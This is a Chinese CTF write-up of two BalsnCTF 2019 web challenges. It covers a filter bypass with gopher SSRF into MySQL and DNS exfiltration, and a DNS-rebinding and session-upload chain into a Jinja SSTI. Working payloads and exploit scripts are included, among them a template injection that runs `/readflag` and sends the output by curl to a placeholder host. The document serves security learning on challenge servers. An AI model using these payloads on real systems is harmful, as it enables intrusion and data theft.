writeup
BalsnCTF 2019 两道web题,php
2019-10-15 14:20

Warm up

常见绕过、gopher 打 MySQL、SSRF

图片1.jpg

一打开题目就能看到源码,稍稍有点混淆,整理一下:

<?php
if (($secret = base64_decode(str_rot13("CTygMlOmpz" . "Z9VaSkYzcjMJpvCt==")))
    && highlight_file(__FILE__)
    && (include("config.php"))
    && ($op = @$_GET['op'])
    && (@strlen($op) < 3 && @($op + 8) < 'A_A')) {
    $_ = @$_GET['Σ>―(#°ω°#)♡→'];
    if (preg_match('/[\x00-!\'0-9"`&$.,|^[{_zdxfegavpos\x7F]+/i', $_)
        || @strlen(count_chars(strtolower($_), 3)) > 13
        || @strlen($_) > 19) {

        exit($secret);
    } else {
        $ch = curl_init();
        @curl_setopt(
            $ch,
            CURLOPT_URL,
            str_repLace(
                "int",
                ":DD",
                str_repLace(
                    "%69%6e%74",
                    "XDDD",
                    str_repLace(
                        "%2e%2e",
                        "Q___Q",
                        str_repLace(
                            "..",
                            "QAQ",
                            str_repLace(
                                "%33%33%61",
                                ">__<",
                                str_repLace(
                                    "%63%3a",
                                    "WTF",
                                    str_repLace(
                                        "633a",
                                        ":)",
                                        str_repLace(
                                            "433a",
                                            ":(",
                                            str_repLace(
                                                "\x63:",
                                                "ggininder",
                                                strtolower(eval("return $_;"))
                                            )
                                        )
                                    )
                                )
                            )
                        )
                    )
                )
            )
        );
        @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        @curl_setopt($ch, CURLOPT_TIMEOUT, 1);
        @curl_EXEC($ch);
    }
} else if (@strlen($op) < 4 && @($op + 78) < 'A__A') {
    $_ = @$_GET[''];  # \u2063
    //http://warmup.balsnctf.com/?%E2%81%A3=index.php%20&op=-79
    if ((strtolower(substr($_, -4)) === '.php')
        || (strtolower(substr($_, -4)) === 'php.')
        || (stripos($_, "\"") !== FALSE)
        || (stripos($_, "\x3e") !== FALSE)
        || (stripos($_, "\x3c") !== FALSE)
        || (stripos(strtolower($_), "amp") !== FALSE))
        die($secret);
    else {
        if (stripos($_, "..") !== false) {
            die($secret);
        } else {
            if (stripos($_, "\x24") !== false) {
                die($secret);
            } else {
                print_r(substr(@file_get_contents($_), 0, 155));
            }
        }
    }
} else {
    die($secret) && system($_GET[0x9487945]);
}

这段代码并不需要额外配置,却加载了一个 config.php,有点蹊跷,先读下源代码看看。有两种办法,一是通过 eval,而是利用 file_get_contents,后者明显要简单些。这样的后缀检查加个空格就能过。因为读取有长度限制,可直接使用伪协议进行压缩,然后解压即可。
<?php
$content = file_get_contents("
http://warmup.balsnctf.com/?op=-99&%E2%81%A3=php://filter/zlib.deflate/resource=config.php%20");
$idx = stripos($content, "</code>") + 7;
file_put_contents("/tmp/233", substr($content, $idx));

echo file_get_contents("php://filter/zlib.inflate/resource=/tmp/233");


得到内容如下
# file:config.php
<?php
    // ***********************************
    // THIS IS THE CONFIG OF THE MYSQL DB
    // ***********************************
    $host = "localhost";
    $user = "admin";
    $pass = "";
    $port = 8787;
    // hint:flag-is-in-the-database XDDDDDDD
    // ====================================
    %


看到了这个提示,MySQL 还是空密码,目标就相当明确了,gopher 打 MySQL 即可,file_get_contents 一般打不出 gopher。那就利用之前的 curl,这里也有三重限制:
if (preg_match('/[\x00-!\'0-9"`&$.,|^[{_zdxfegavpos\x7F]+/i', $_)
        || @strlen(count_chars(strtolower($_), 3)) > 13
        || @strlen($_) > 19) {

图片2.jpg

gopher 的 payload 都比较长,直接传是不可能的。之前出过很多无参函数的题,常见的手法是通过 getenv、getallheaders、get_defined_vars之类的函数获取参数。由于长度的限制,最好的选择就是 getenv。

(~%98%9A%8B%9A%91%89)(~%B7%AB%AB%AF%A0%A7) => getenv("HTTP_T")

图片3.jpg

成功打出请求,接下来继续打 MySQL, Gopherus 生成下 payload。

phpinfo 中能看到是 Windows 的机器,验证一下能不能 DNS 数据外带,不然只能当盲注处理了。(PS:本地实验记得修改 mysql.ini 文件,在 [mysqld] 下加入 secure_file_priv = )

Give MySQL username: admin

Give port: 8787

Give query to execute: select load_file(concat('\\\\',version(),'.9fp07q2nho1v8tn68szls54d94fu3j.burpcollaborator.net/a'));

Your gopher link is ready to do SSRF :

gopher://127.0.0.1:8787/_%a4%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%61%64%6d%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%65%00%00%00%03%73%65%6c%65%63%74%20%6c%6f%61%64%5f%66%69%6c%65%28%63%6f%6e%63%61%74%28%27%5c%5c%5c%5c%27%2c%76%65%72%73%69%6f%6e%28%29%2c%27%2e%39%66%70%30%37%71%32%6e%68%6f%31%76%38%74%6e%36%38%73%7a%6c%73%35%34%64%39%34%66%75%33%6a%2e%62%75%72%70%63%6f%6c%6c%61%62%6f%72%61%74%6f%72%2e%6e%65%74%2f%61%27%29%29%3b%01%00%00%00%01

成功收到请求。

10.3.16-MariaDB.9fp07q2nho1v8tn68szls54d94fu3j.burpcollaborator.net.

继续获取数据:

select load_file(concat("\\\\",substr(hex(group_concat(schema_name)),39,68),".9fp07q2nho1v8tn68szls54d94fu3j.burpcollaborator.net/a")) from information_schema.schemata;

-- 得到了数据库名 test,thisisthedbname,需要注意的是太长了出不了网,不能出现像逗号这种的特殊符号

接下来就是老套路了,读表名、列名,拿数据。

42616C736E7B337A5F77316E643077735F7068705F6368346C7D  =>  Balsn{3z_w1nd0ws_php_ch4l}

师傅把上面的过程整合了下,通过 flask 转发,然后就能 sqlmap 一把梭,值得学习,代码如下。

https://movrment.blogspot.com/2019/10/balsn-ctf-2019-web-warmup.html
#coding: utf-8
import requests

class MySQL():
    print "\033[31m"+"For making it work username should not be password protected!!!"+ "\033[0m"
    user = 'admin' #raw_input("\033[96m" +"\nGive MySQL username: " + "\033[0m")
    encode_user = user.encode("hex")
    user_length = len(user)
    temp = user_length - 4
    length = (chr(0xa3+temp)).encode("hex")

    dump = length + "00000185a6ff0100000001210000000000000000000000000000000000000000000000"
    dump +=  encode_user
    dump += "00006d7973716c5f6e61746976655f70617373776f72640066035f6f73054c696e75780c5f636c69656e745f6e616d65086c"
    dump += "69626d7973716c045f7069640532373235350f5f636c69656e745f76657273696f6e06352e372e3232095f706c6174666f726d"
    dump += "067838365f36340c70726f6772616d5f6e616d65056d7973716c"

    query = "show databases;";#raw_input("\033[96m" +"Give query to execute: "+ "\033[0m")

    auth = dump.replace("\n","")

    def encode(self, s):
        a = [s[i:i + 2] for i in range(0, len(s), 2)]
        #return "
gopher://127.0.0.1:3306/_%" + "%".join(a)
        return "
gopher://127.0.0.1:8787/_%" + "%".join(a)


    def get_payload(self, query):
        if(query.strip()!=''):
            query = query.encode("hex")
            query_length = '{:06x}'.format((int((len(query) / 2) + 1)))
            query_length = query_length.decode('hex')[::-1].encode('hex')
            pay1 = query_length + "0003" + query
            final = self.encode(self.auth + pay1 + "0100000001")
            return final
        else:
            return encode(self.auth)


# coding: utf-8
from flask import Flask, render_template, request
import time

app = Flask(__name__, template_folder='.')

@app.route('/')
def blind():
    username = request.args.get('username')
    url = "
http://localhost/gg.php"
    url = "
http://warmup.balsnctf.com/"
    def n(s):
        r = ""
        for i in s:
            r += chr(~(ord(i)) & 0xFF)
        r = "~{}".format(r)
        return r

    t = '(' + n('getenv') + ')(' +n('HTTP_X') + ')'
    # x = MySQL().get_payload("select IF(TRUE AND (select '1'='{username}'), sleep(10), sleep(0));".format(username=username))
    x = MySQL().get_payload("select id from (select 1 as id)a where id='{username}';".format(username=username))

    print repr(x)
    print len(t)
    try:
        r = requests.post(url=url, params = {
                'op' : '-9',
                'Σ>―(#°ω°#)♡→' : t
            },
            cookies = {"PHPSESSID" : "123"},
            headers = {"X": x},
            timeout = 1.5
        )
        return "1"
    except:
        time.sleep(4)
        return "0"
    return r.content


if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=True)

'''
python sqlmap.py -u "
http://localhost:5000/?username=*" --technique=T --dbms=mysql --dbs  --level 1 --time-sec=2
'''

韩国鱼

DNS rebinding、SSTI、命令执行

题目直接放出了 docker 环境,有个 readflag.c,看来是要执行命令。
# index.php
<?php
ini_set('default_socket_timeout', 1);

$waf = array("@","#","!","$","%","<", "*", "'", "&", "..", "localhost", "file", "gopher", "flag", "information_schema", "select", "from", "sleep", "user", "where", "union", ".php", "system", "access.log", "passwd", "cmdline", "exe", "fd", "meta-data");

$dst = @$_GET['\'];
if(!isset($dst)) exit("Forbidden");

$res = @parse_url($dst);
$ip = @dns_get_record($res['host'], DNS_A)[0]['ip'];

if($res['scheme'] !== 'http' && $res['scheme'] !== 'https') die("Error");
if(stripos($res['path'], "korea") === FALSE) die("Error");

for($i = 0; $i < count($waf); $i++)
    if(stripos($dst, $waf[$i]) !== FALSE)
        die("<svg/onload=\"alert('發大財!')\">".$waf[$i]);
sleep(1);

// u can only touch this useless ip :p
$dev_ip = "54.87.54.87";
if($ip === $dev_ip) {
    $content = file_get_contents($dst);
    echo $content;
}


另外内网里还跑了一个 flask,这段代码明显有 SSTI。
@app.route('/error_page')
def error():
    error_status = request.args.get("err")
    err_temp_path = os.path.join('/var/www/flask/', 'error', error_status)
    with open(err_temp_path, "r") as f:
        content = f.read().strip()
    return render_template_string(sanitize(content))

代码里还很贴心的加入了一个 sleep(1),对访问 IP 的限制显然可以通过 DNS rebinding 进行绕过。当服务端通过 dns_get_record 解析时,返回 54.87.54.87,通过 file_get_contents 访问时,host 被解析成 127.0.0.1 自然就能打到内网。

国内能买到的域名 TTL 基本无法为零,难道需要充钱买新域名吗?

不,有很多现成的平台能用,比如 https://lock.cmpxchg8b.com/rebinder.html

图片4.jpg

不过这个是规律性的随机解析,还是要点小运气的 :)

可看到成功进入内网:

图片5.jpg

要想访问 /error_page ,这还有点小限制

if(stripos($res['path'], "korea") === FALSE) die("Error");

不过在 Flask 里有个特性,//korea/error_page => /error_page,自然就解决了。当然也可以自己写个跳转。另外还有一点:

>>> import os

>>> os.path.join("/var/www/flask", "error", "/etc/passwd")

'/etc/passwd'

接下来要做的就是找到一个可控的文件,别忘了前面还跑了个 PHP,那就利用 session.upload_progress 进行上传吧,也是常见的手段。可参考:

https://blog.orange.tw/2018/10/hitcon-ctf-2018-one-line-php-challenge.html

https://www.anquanke.com/post/id/162656

http://wonderkun.cc/index.html/?p=718

https://www.php.net/manual/zh/session.upload-progress.php

我们先看一下 SSTI 如何构造才能进行命令执行。
def sanitize(str):
    return str.replace(".", "").replace("{{", "")

'''
过滤 {{  =>  {%%}

过滤  .  =>
            {{''['__class__']}}
            {{''|attr('__class__')}}
            \x2e
            getattr
'''

# 常用 payload
{% for c in [].__class__.__base__.__subclasses__() %}
  {% if c.__name__ == 'catch_warnings' %}
    {% for b in c.__init__.__globals__.values() %}
    {% if b.__class__ == {}.__class__ %}
      {% if 'eval' in b.keys() %}
        {{ b['eval']('__import__("os").popen("id").read()') }}
      {% endif %}
    {% endif %}
    {% endfor %}
  {% endif %}
{% endfor %}

=>

{% for c in []['__class__']['__base__']['__subclasses__']() %}
    {% if c['__name__'] == 'catch_warnings' %}
        {% for b in c['__init__']['__globals__']['values']() %}
            {% if b['__class__']=={}['__class__'] %}
                {% if 'eval' in b['keys']() %}
                  {% if b['eval']('getattr(__import__("os"),"popen")("curl your_host/`/readflag`")') %}
                  {% endif %}
                {% endif %}
            {% endif %}
        {% endfor %}
    {% endif %}
{% endfor %}
把 orange 之前 one line php 的 exp 改下就能用了,最终 exp:
import sys
import string
import requests
from multiprocessing.dummy import Pool as ThreadPool


HOST = 'http://koreanfish.balsnctf.com'
sess_name = 'iamorange'

headers = {
    'Connection': 'close',
    'Cookie': 'PHPSESSID=' + sess_name
}

payload = '''
{% for c in []['__class__']['__base__']['__subclasses__']() %}
    {% if c['__name__'] == 'catch_warnings' %}
        {% for b in c['__init__']['__globals__']['values']() %}
            {% if b['__class__']=={}['__class__'] %}
                {% if 'eval' in b['keys']() %}
                  {% if b['eval']('getattr(__import__("os"),"popen")("curl your_host/`/readflag`")') %}
                  {% endif %}
                {% endif %}
            {% endif %}
        {% endfor %}
    {% endif %}
{% endfor %}
'''

def runner1(i):
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': 'ZZ' + payload + 'Z'
    }
    while 1:
        fp = open('/etc/passwd', 'rb')
        r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)
        fp.close()
        print(r.status_code)

def runner2(i):
    filename = '/var/lib/php/sessions/sess_' + sess_name
    while 1:
        url = '{}?%F0%9F%87%B0%F0%9F%87%B7%F0%9F%90%9F=http://36573657.7f000001.rbndr.us:5000//korea/error_page%3Ferr={}'.format(HOST, filename)
        r = requests.get(url, headers=headers)
        print(r.status_code)


if sys.argv[1] == '1':
    runner = runner1
else:
    runner = runner2

pool = ThreadPool(32)
result = pool.map_async( runner, range(32) ).get(0xffff)

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